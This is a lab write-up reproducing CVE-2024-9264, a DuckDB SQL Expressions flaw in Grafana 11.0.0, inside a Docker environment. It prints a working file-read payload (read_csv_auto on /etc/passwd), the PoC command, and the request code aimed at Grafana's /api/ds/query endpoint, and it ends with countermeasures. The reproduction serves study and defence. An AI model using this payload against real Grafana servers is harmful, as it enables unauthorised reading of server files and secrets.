CVE-2024-9264

References https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264

1. Vulnerability Summary

Grafana is an open-source monitoring tool that visualizes various data such as servers, applications, and databases in easy-to-read graphs or dashboards.

CVE-2024-9264 is a vulnerability in Grafana's SQL Expressions feature.

Because DuckDB SQL used internally by Grafana is not properly validated, an attacker can execute arbitrary DuckDB SQL through SQL Expressions.

Using this, they can:

• Read local files on the server (LFI)
• Execute system commands (RCE)
• Leak sensitive information

In this practice, we reproduced the vulnerability by running Grafana 11.0.0 in a Docker environment and using a PoC to read the /etc/passwd file.

2. Environment Setup

Practice Environment

Clone Repository

git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264

Run Docker

docker-compose up

Verify Grafana is running

http://localhost:3000

Grafana's default account information is as follows:

ID : admin
PW : admin

3. Vulnerability Conditions

The following conditions must be met for the vulnerability to occur:

• Using a vulnerable version of Grafana
• SQL Expressions feature must be available
• Attacker can log in to Grafana
• DuckDB SQL Expression is enabled

In this practice, we used the default admin (admin/admin) account.

4. Reproduction

Run PoC

To read a local file, the following command was executed:

python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"

The PoC generates the following SQL Expression:

SELECT * FROM read_csv_auto('/etc/passwd')

This is sent to Grafana's /api/ds/query API.

Result Verification

Grafana executed the SQL as is and returned the contents of /etc/passwd in the response.

Other files besides /etc/passwd can also be viewed.

This confirms that Local File Inclusion was successfully performed.

5. PoC Code

The PoC is written in Python and performs the following steps:

1. Calls Grafana API (/api/ds/query)
2. Creates a SQL Expression
3. Sends the request in JSON format
4. Parses the response (JSON)
5. Outputs the file contents

The SQL generated when reading a file is as follows:

sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"

The API request is made as follows:

response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)

This can also be verified with a curl command.

6. Countermeasures

1. Update Grafana to the Latest Version

The most effective countermeasure is to update to the latest version where the vulnerability has been fixed.

2. Restrict SQL Expressions Feature

Disable unnecessary SQL Expressions or apply the principle of least privilege to limit its usage.

3. Protect Administrator Accounts

• Change default account (admin/admin)
• Use strong passwords
• Minimize administrator accounts

Conclusion

After setting up Grafana 11.0.0 in a Docker environment, we reproduced the CVE-2024-9264 vulnerability.

Using a PoC written in Python, we successfully exploited the SQL Expression feature to read the /etc/passwd file.

This confirms that insufficient input validation on SQL Expressions can expose sensitive files, and depending on the environment, it can lead to remote code execution.

Such vulnerabilities can be prevented through security measures such as updating to the latest version, restricting the SQL Expression feature, and protecting administrator accounts.